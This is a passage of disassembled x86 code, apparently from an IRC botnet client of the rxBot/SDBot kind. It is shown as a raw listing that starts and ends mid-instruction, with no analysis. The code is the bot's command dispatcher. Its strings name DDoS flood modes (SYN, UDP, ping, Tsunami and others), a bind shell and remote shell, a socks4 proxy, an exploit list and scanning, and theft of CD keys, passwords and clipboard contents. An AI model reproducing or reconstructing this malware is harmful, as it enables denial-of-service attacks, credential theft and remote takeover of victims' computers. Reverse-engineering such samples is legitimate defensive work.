eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_417EEF add esp, 0Ch jmp short loc_4026FE ; --------------------------------------------------------------------------- loc_4026C3: ; CODE XREF: sub_401ACD+BB2j ; sub_401ACD+BB9j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FE lea eax, [ebp+SubStr] push 2 ; Count push eax ; Source lea eax, [ebp+var_94] push eax ; Dest call _strncpy lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_417EEF add esp, 18h loc_4026FE: ; CODE XREF: sub_401ACD+BCBj ; sub_401ACD+BDFj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402657 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271B: ; CODE XREF: sub_401ACD+C9Aj push [ebp+arg_20] lea eax, [ebp+SubStr] push offset aD_1 ; "$%d" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_40275E mov eax, [edi] cmp eax, ebx jz short loc_40275E push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_417EEF add esp, 0Ch loc_40275E: ; CODE XREF: sub_401ACD+C76j ; sub_401ACD+C7Cj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271B mov [ebp+var_2C8], 1 loc_402773: ; CODE XREF: sub_401ACD+B02j ; sub_401ACD+B30j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278C cmp [ebp+var_2C8], ebx jz loc_40297D loc_40278C: ; CODE XREF: sub_401ACD+CB1j push [ebp+Source] ; Source mov edi, [ebp+Src] push offset aMe ; "$me" push edi ; Src call sub_417EEF lea eax, [ebp+var_C4] push eax ; Source push offset aUser ; "$user" push edi ; Src call sub_417EEF push [ebp+Format] ; Source push offset aChan ; "$chan" push edi ; Src call sub_417EEF push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40B08E push eax ; Source push offset aRndnick ; "$rndnick" push edi ; Src call sub_417EEF add esp, 40h push [ebp+arg_14] ; Source push offset aServer ; "$server" push edi ; Src call sub_417EEF mov edi, offset aChr ; "$chr(" push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h loc_4027FE: ; CODE XREF: sub_401ACD+E29j test eax, eax jz loc_4028FB push edi ; SubStr push [ebp+Src] ; Str call _strstr mov [ebp+Source], eax add eax, 5 push 4 ; Count push eax ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy lea eax, [ebp+SubStr] push offset asc_42CE10 ; ")" push eax ; Str call _strtok add esp, 1Ch cmp [ebp+SubStr], 30h jl short loc_40284A cmp [ebp+SubStr], 39h jle short loc_402860 loc_40284A: ; CODE XREF: sub_401ACD+D72j push 3 ; Count lea eax, [ebp+SubStr] push offset a63 ; "63" push eax ; Dest call _strncpy add esp, 0Ch loc_402860: ; CODE XREF: sub_401ACD+D7Bj lea eax, [ebp+SubStr] push eax ; Str call _atoi test eax, eax pop ecx jle short loc_402886 lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx mov [ebp+var_94], al jmp short loc_40289A ; --------------------------------------------------------------------------- loc_402886: ; CODE XREF: sub_401ACD+DA2j call _rand push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40289A: ; CODE XREF: sub_401ACD+DB7j lea eax, [ebp+SubStr] mov [ebp+var_93], bl push eax ; Str call _strlen mov [ebp+arg_20], eax push 0Ch ; Size lea eax, [ebp+SubStr] push ebx ; Val push eax ; Dst call _memset mov eax, [ebp+arg_20] add eax, 6 push eax ; Count lea eax, [ebp+SubStr] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_94] push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_417EEF push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 30h jmp loc_4027FE ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_401ACD+D33j mov edi, 1FFh lea eax, [ebp+Str] push edi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push edi ; Count push eax ; Source lea eax, [ebp+var_4AF0] push eax ; Dest call _strncpy lea eax, [ebp+var_4AF0] push offset asc_42D124 ; " " push eax ; Str call _strtok add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+Args] mov [ebp+Source], 1Fh loc_40294B: ; CODE XREF: sub_401ACD+E93j push offset asc_42D124 ; " " push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+Source] pop ecx jnz short loc_40294B mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297D: ; CODE XREF: sub_401ACD+CB9j mov edi, [ebp+esi+var_90] push edi ; Str2 push offset aRndnick_0 ; "rndnick" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_409803 push edi ; Str2 push offset aRn ; "rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_409803 push edi ; Str2 push offset aDie ; "die" call _strcmp pop ecx test eax, eax pop ecx jz loc_4049FD push edi ; Str2 push offset aD_0 ; "d" call _strcmp pop ecx test eax, eax pop ecx jz loc_4049FD push edi ; Str2 push offset aLogout ; "logout" call _strcmp pop ecx test eax, eax pop ecx jz loc_404955 push edi ; Str2 push offset aLo ; "lo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404955 push edi ; Str2 push offset aVersion ; "version" call _strcmp pop ecx test eax, eax pop ecx jz loc_404946 push edi ; Str2 push offset aVer ; "ver" call _strcmp pop ecx test eax, eax pop ecx jz loc_404946 push edi ; Str2 push offset aDedication ; "dedication" call _strcmp pop ecx test eax, eax pop ecx jz loc_40493C push edi ; Str2 push offset aDed ; "ded" call _strcmp pop ecx test eax, eax pop ecx jz loc_40493C push edi ; Str2 push offset aSpeedtest ; "speedtest" call _strcmp pop ecx test eax, eax pop ecx jz loc_404923 push edi ; Str2 push offset aSt ; "st" call _strcmp pop ecx test eax, eax pop ecx jz loc_404923 push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz loc_404825 push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx test eax, eax pop ecx jz loc_404825 push edi ; Str2 push offset aUnsecure ; "unsecure" call _strcmp pop ecx test eax, eax pop ecx jz loc_404825 push edi ; Str2 push offset aUnsec ; "unsec" call _strcmp pop ecx test eax, eax pop ecx jz loc_404825 push edi ; Str2 push offset aBindshell ; "bindshell" call _strcmp pop ecx test eax, eax pop ecx jz loc_40471F push edi ; Str2 push offset aBd ; "bd" call _strcmp pop ecx test eax, eax pop ecx jz loc_40471F push edi ; Str2 push offset aBindshellstop ; "bindshellstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402B41 push dword ptr [ebp+esi+Args] ; Str push 6 ; int push offset aServer_0 ; "Server" push offset dword_42CD64 ; int loc_402B25: ; CODE XREF: sub_401ACD+10C2j ; sub_401ACD+10E8j ... push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; int push [ebp+arg_4] ; int call sub_40B385 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B41: ; CODE XREF: sub_401ACD+1043j push edi ; Str2 push offset aSocks4 ; "socks4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045FD push edi ; Str2 push offset aS4 ; "s4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045FD push edi ; Str2 push offset aSocks4stop ; "socks4stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402B91 push dword ptr [ebp+esi+Args] push 19h push offset aServer_0 ; "Server" push offset dword_42CD3C jmp short loc_402B25 ; --------------------------------------------------------------------------- loc_402B91: ; CODE XREF: sub_401ACD+10ADj push edi ; Str2 push offset aRloginstop ; "rloginstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402BBA push dword ptr [ebp+esi+Args] push 9 push offset aServer_0 ; "Server" push offset dword_42CD20 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402BBA: ; CODE XREF: sub_401ACD+10D3j push edi ; Str2 push offset aHttpstop ; "httpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402BE3 push dword ptr [ebp+esi+Args] push 3 push offset aServer_0 ; "Server" push offset dword_42CD04 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402BE3: ; CODE XREF: sub_401ACD+10FCj push edi ; Str2 push offset aLogstop ; "logstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C0C push dword ptr [ebp+esi+Args] push 25h push offset aLogList ; "Log list" push offset dword_42CCE4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C0C: ; CODE XREF: sub_401ACD+1125j push edi ; Str2 push offset aRedirectstop ; "redirectstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C35 push dword ptr [ebp+esi+Args] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_42CCB4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C35: ; CODE XREF: sub_401ACD+114Ej push edi ; Str2 push offset aDdos_stop ; "ddos.stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C5E push dword ptr [ebp+esi+Args] push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_42CC90 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C5E: ; CODE XREF: sub_401ACD+1177j push edi ; Str2 push offset aSynstop ; "synstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C87 push dword ptr [ebp+esi+Args] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_42CC70 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C87: ; CODE XREF: sub_401ACD+11A0j push edi ; Str2 push offset aSkysynstop ; "skysynstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402CB0 push dword ptr [ebp+esi+Args] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_42CC44 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402CB0: ; CODE XREF: sub_401ACD+11C9j push edi ; Str2 push offset aTarga3stop ; "targa3stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402CD9 push dword ptr [ebp+esi+Args] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_42CC18 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402CD9: ; CODE XREF: sub_401ACD+11F2j push edi ; Str2 push offset aWonkstop ; "wonkstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402D02 push dword ptr [ebp+esi+Args] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_42CBF4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402D02: ; CODE XREF: sub_401ACD+121Bj push edi ; Str2 push offset aPacketstop ; "packetstop" call _strcmp pop ecx test eax, eax pop ecx jnz loc_402E58 mov esi, dword ptr [ebp+esi+Args] mov edi, [ebp+arg_4] push esi ; Str push 0Dh ; int push offset aDdosFlood ; "DDoS flood" push offset dword_42CC90 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 push esi ; Str push 0Eh ; int push offset aSynFlood ; "Syn flood" push offset dword_42CC70 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 add esp, 40h push esi ; Str push 17h ; int push offset aUdpFlood ; "UDP flood" push offset dword_42CBD0 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 push esi ; Str push 16h ; int push offset aPingFlood ; "Ping flood" push offset dword_42CBB8 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 add esp, 40h push esi ; Str push 11h ; int push offset aTarga3Flood ; "Targa3 flood" push offset dword_42CC18 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 push esi ; Str push 12h ; int push offset aWonkFlood ; "Wonk flood" push offset dword_42CBF4 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 add esp, 40h push esi ; Str push 0Fh ; int push offset aTsunamiFlood ; "Tsunami flood" push offset dword_42CB98 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 push esi ; Str push 13h ; int push offset aWisdomAttack ; "Wisdom attack" push offset dword_42CB78 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 add esp, 40h push esi ; Str push 10h ; int push offset aSkysynFlood ; "SkySyn flood" push offset dword_42CC44 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B385 push ebx ; int push [ebp+var_4] ; int push offset unk_42CB44 ; int push [ebp+Format] ; Str push edi ; int call sub_409A73 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E58: ; CODE XREF: sub_401ACD+1244j push edi ; Str2 push offset aTsunamistop ; "tsunamistop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E81 push dword ptr [ebp+esi+Args] push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_42CB98 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402E81: ; CODE XREF: sub_401ACD+139Aj push edi ; Str2 push offset aWisdomstop ; "wisdomstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EAA push dword ptr [ebp+esi+Args] push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_42CB78 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402EAA: ; CODE XREF: sub_401ACD+13C3j push edi ; Str2 push offset aUdpstop ; "udpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402ED3 push dword ptr [ebp+esi+Args] push 17h push offset aUdpFlood ; "UDP flood" push offset dword_42CBD0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402ED3: ; CODE XREF: sub_401ACD+13ECj push edi ; Str2 push offset aPingstop ; "pingstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EFC push dword ptr [ebp+esi+Args] push 16h push offset aPingFlood ; "Ping flood" push offset dword_42CBB8 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402EFC: ; CODE XREF: sub_401ACD+1415j push edi ; Str2 push offset aTftpstop ; "tftpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402F25 push dword ptr [ebp+esi+Args] push 5 push offset aServer_0 ; "Server" push offset dword_42CAFC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402F25: ; CODE XREF: sub_401ACD+143Ej push edi ; Str2 push offset aFindfilestop ; "findfilestop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045E5 push edi ; Str2 push offset aFfstop ; "ffstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045E5 push edi ; Str2 push offset aProcsstop ; "procsstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045CD push edi ; Str2 push offset aPsstop ; "psstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045CD push edi ; Str2 push offset aClonestop ; "clonestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402FA2 push dword ptr [ebp+esi+Args] push 1Fh push offset aClone ; "Clone" push offset dword_42CAAC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FA2: ; CODE XREF: sub_401ACD+14BBj push edi ; Str2 push offset aSecurestop ; "securestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402FCB push dword ptr [ebp+esi+Args] push 22h push offset aSecure_0 ; "Secure" push offset dword_42CA88 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FCB: ; CODE XREF: sub_401ACD+14E4j push edi ; Str2 push offset aScanstop ; "scanstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402FF4 push dword ptr [ebp+esi+Args] push 0Bh push offset aScan ; "Scan" push offset dword_42CA68 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FF4: ; CODE XREF: sub_401ACD+150Dj push edi ; Str2 push offset aScanstats ; "scanstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045B7 push edi ; Str2 push offset aStats ; "stats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045B7 push edi ; Str2 push offset aTransferstats ; "transferstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045A1 push edi ; Str2 push offset aTrstats ; "trstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045A1 push edi ; Str2 push offset aConnectbacksta ; "connectbackstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40458B push edi ; Str2 push offset aCbstats ; "cbstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40458B push edi ; Str2 push offset aExploitlist ; "exploitlist" call _strcmp pop ecx test eax, eax pop ecx jz loc_404575 push edi ; Str2 push offset aExplist ; "explist" call _strcmp pop ecx test eax, eax pop ecx jz loc_404575 push edi ; Str2 push offset aReconnect ; "reconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_404556 push edi ; Str2 push offset aR ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_404556 push edi ; Str2 push offset aDisconnect ; "disconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_404534 push edi ; Str2 push offset aDc ; "dc" call _strcmp pop ecx test eax, eax pop ecx jz loc_404534 push edi ; Str2 push offset aQuit_0 ; "quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044EC push edi ; Str2 push offset aQ ; "q" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044EC push edi ; Str2 push offset aStatus ; "status" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044D8 push edi ; Str2 push offset aS_5 ; "s" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044D8 push edi ; Str2 push offset aId ; "id" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044A1 push edi ; Str2 push offset aI ; "i" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044A1 push edi ; Str2 push offset aReboot ; "reboot" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4031C0 call sub_418338 test eax, eax mov eax, offset asc_42C9A4 ; "-" jnz short loc_403192 mov eax, offset unk_42C97C loc_403192: ; CODE XREF: sub_401ACD+16BEj push eax ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 1Ch jmp loc_4083BD ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_401ACD+16B0j push edi ; Str2 push offset aThreads ; "threads" call _strcmp pop ecx test eax, eax pop ecx jz loc_4043C2 push edi ; Str2 push offset aT ; "t" call _strcmp pop ecx test eax, eax pop ecx jz loc_4043C2 push edi ; Str2 push offset aAliases ; "aliases" call _strcmp pop ecx test eax, eax pop ecx jz loc_40439F push edi ; Str2 push offset aAl ; "al" call _strcmp pop ecx test eax, eax pop ecx jz loc_40439F push edi ; Str2 push offset aLog ; "log" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042AC push edi ; Str2 push offset aLg ; "lg" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042AC push edi ; Str2 push offset aClearlog ; "clearlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_404293 push edi ; Str2 push offset aClg ; "clg" call _strcmp pop ecx test eax, eax pop ecx jz loc_404293 push edi ; Str2 push offset aNetinfo ; "netinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404259 push edi ; Str2 push offset aNi ; "ni" call _strcmp pop ecx test eax, eax pop ecx jz loc_404259 push edi ; Str2 push offset aSysinfo ; "sysinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_40422E push edi ; Str2 push offset aSi ; "si" call _strcmp pop ecx test eax, eax pop ecx jz loc_40422E push edi ; Str2 push offset aLsp100 ; "lsp100" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041F4 push edi ; Str2 push offset aLsp100 ; "lsp100" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041F4 push edi ; Str2 push offset aProcs ; "procs" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040D1 push edi ; Str2 push offset aPs ; "ps" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040D1 push edi ; Str2 push offset aGetcdkeys ; "getcdkeys" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040B3 push edi ; Str2 push offset aKey ; "key" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040B3 push edi ; Str2 push offset aUptime ; "uptime" call _strcmp pop ecx test eax, eax pop ecx jz loc_40402B push edi ; Str2 push offset aUp ; "up" call _strcmp pop ecx test eax, eax pop ecx jz loc_40402B push edi ; Str2 push offset aDriveinfo ; "driveinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_40400E push edi ; Str2 push offset aDrv ; "drv" call _strcmp pop ecx test eax, eax pop ecx jz loc_40400E push edi ; Str2 push offset aTestdlls ; "testdlls" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FF5 push edi ; Str2 push offset aDll ; "dll" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FF5 push edi ; Str2 push offset aOpencmd ; "opencmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FB6 push edi ; Str2 push offset aOcmd ; "ocmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FB6 push edi ; Str2 push offset aCmdstop ; "cmdstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40340B push dword ptr [ebp+esi+Args] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_42C8B0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_40340B: ; CODE XREF: sub_401ACD+1924j push edi ; Str2 push offset aWho ; "who" call _strcmp pop ecx test eax, eax pop ecx jnz loc_403528 cmp [ebp+var_8], ebx jnz short loc_40343F push ebx ; int push [ebp+var_4] ; int push offset dword_42C898 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_40343F: ; CODE XREF: sub_401ACD+1956j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344D ; --------------------------------------------------------------------------- loc_40344A: ; CODE XREF: sub_401ACD+19CCj mov eax, [ebp+arg_18] loc_40344D: ; CODE XREF: sub_401ACD+197Bj cmp [eax], bl jz short loc_403454 inc eax jmp short loc_403459 ; --------------------------------------------------------------------------- loc_403454: ; CODE XREF: sub_401ACD+1982j mov eax, offset aEmpty ; "<Empty>" loc_403459: ; CODE XREF: sub_401ACD+1985j push eax lea eax, [ebp+Dst] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_40344A push offset unk_42C864 call sub_4151AD pop ecx loc_4034A6: ; CODE XREF: sub_401ACD+1C5Bj ; sub_401ACD+2F44j mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx mov [ebp+Source], eax jz loc_401E94 push edi ; Str2 push offset aSpoof ; "spoof" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404AF5 mov esi, [ebp+Source] push offset Str2 ; "off" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_404A23 lea eax, [ebp+Dst] push offset asc_42C830 ; "-" push eax ; Dest mov dword_4CEE08, ebx call _sprintf pop ecx pop ecx loc_4034FE: ; CODE XREF: sub_401ACD+3023j cmp [ebp+var_8], ebx jnz loc_409855 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 loc_403520: ; CODE XREF: sub_401ACD+7119j add esp, 14h jmp loc_409855 ; --------------------------------------------------------------------------- loc_403528: ; CODE XREF: sub_401ACD+194Dj push edi ; Str2 push offset aGetclip ; "getclip" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F75 push edi ; Str2 push offset aGc ; "gc" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F75 push edi ; Str2 push offset aFlusharp ; "flusharp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F5E push edi ; Str2 push offset aFarp ; "farp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F5E push edi ; Str2 push offset aFlushdns ; "flushdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F26 push edi ; Str2 push offset aFdns ; "fdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F26 push edi ; Str2 push offset aCurrentip ; "currentip" call _strcmp pop ecx test eax, eax pop ecx jz loc_403EEC push edi ; Str2 push offset aCip ; "cip" call _strcmp pop ecx test eax, eax pop ecx jz loc_403EEC push edi ; Str2 push offset aRloginserver ; "rloginserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403DB1 push edi ; Str2 push offset aRlogin ; "rlogin" call _strcmp pop ecx test eax, eax pop ecx jz loc_403DB1 push edi ; Str2 push offset aHttpserver ; "httpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403C25 push edi ; Str2 push offset aHttp ; "http" call _strcmp pop ecx test eax, eax pop ecx jz loc_403C25 push edi ; Str2 push offset aTftpserver ; "tftpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403AEB push edi ; Str2 push offset aTftp ; "tftp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403AEB push edi ; Str2 push offset aCrash ; "crash" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4036B4 lea eax, [ebp+Dst] push offset asc_42C788 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403693 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_403693: ; CODE XREF: sub_401ACD+1BA8j lea eax, [ebp+Dst] push eax ; Str2 call sub_4151AD mov [esp+5D98h+var_5D98], offset aCrash ; "crash" push [ebp+esi+var_7C] ; Str1 call _strcmp jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B4: ; CODE XREF: sub_401ACD+1B90j push edi ; Str2 push offset aAsc ; "asc" call _strcmp pop ecx test eax, eax pop ecx jz loc_4037E7 push edi ; Str2 push offset aSa ; "sa" call _strcmp pop ecx test eax, eax pop ecx jz loc_4037E7 push edi ; Str2 push offset aPhonehome ; "phonehome" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403708 lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] ; int call sub_409A2D jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403708: ; CODE XREF: sub_401ACD+1C20j push edi ; Str2 push offset aFindpass ; "findpass" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40372E push edi ; Str2 push offset aFp ; "fp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4034A6 loc_40372E: ; CODE XREF: sub_401ACD+1C4Aj push [ebp+Format] ; Format lea eax, [ebp+var_F54] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset asc_42C71C ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 26h ; int push eax ; Source call sub_40B0F7 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1B push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4037D6 loc_4037C0: ; CODE XREF: sub_401ACD+1D07j cmp [ebp+var_EC8], ebx jnz loc_4083BD push 32h call ds:dword_427078 ; Sleep jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037D6: ; CODE XREF: sub_401ACD+1CF1j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C6E0 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_4037E7: ; CODE XREF: sub_401ACD+1BF6j ; sub_401ACD+1C0Bj mov al, byte_431CE2 mov [ebp+Src], ebx cmp al, bl mov edx, offset byte_431CE2 jz loc_401E94 mov ecx, edx loc_4037FE: ; CODE XREF: sub_401ACD+1D39j inc [ebp+Src] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FE cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403818: ; CODE XREF: sub_401ACD+2009j push 0Bh call sub_40B33F pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+Src] add eax, ecx cmp eax, 1F4h jle short loc_403867 push ecx lea eax, [ebp+Dst] push offset asc_42C6A0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 20h jmp loc_403ACD ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: sub_401ACD+1D65j or [ebp+var_730], 0FFFFFFFFh cmp dword_431B00, ebx mov [ebp+var_734], 64h mov 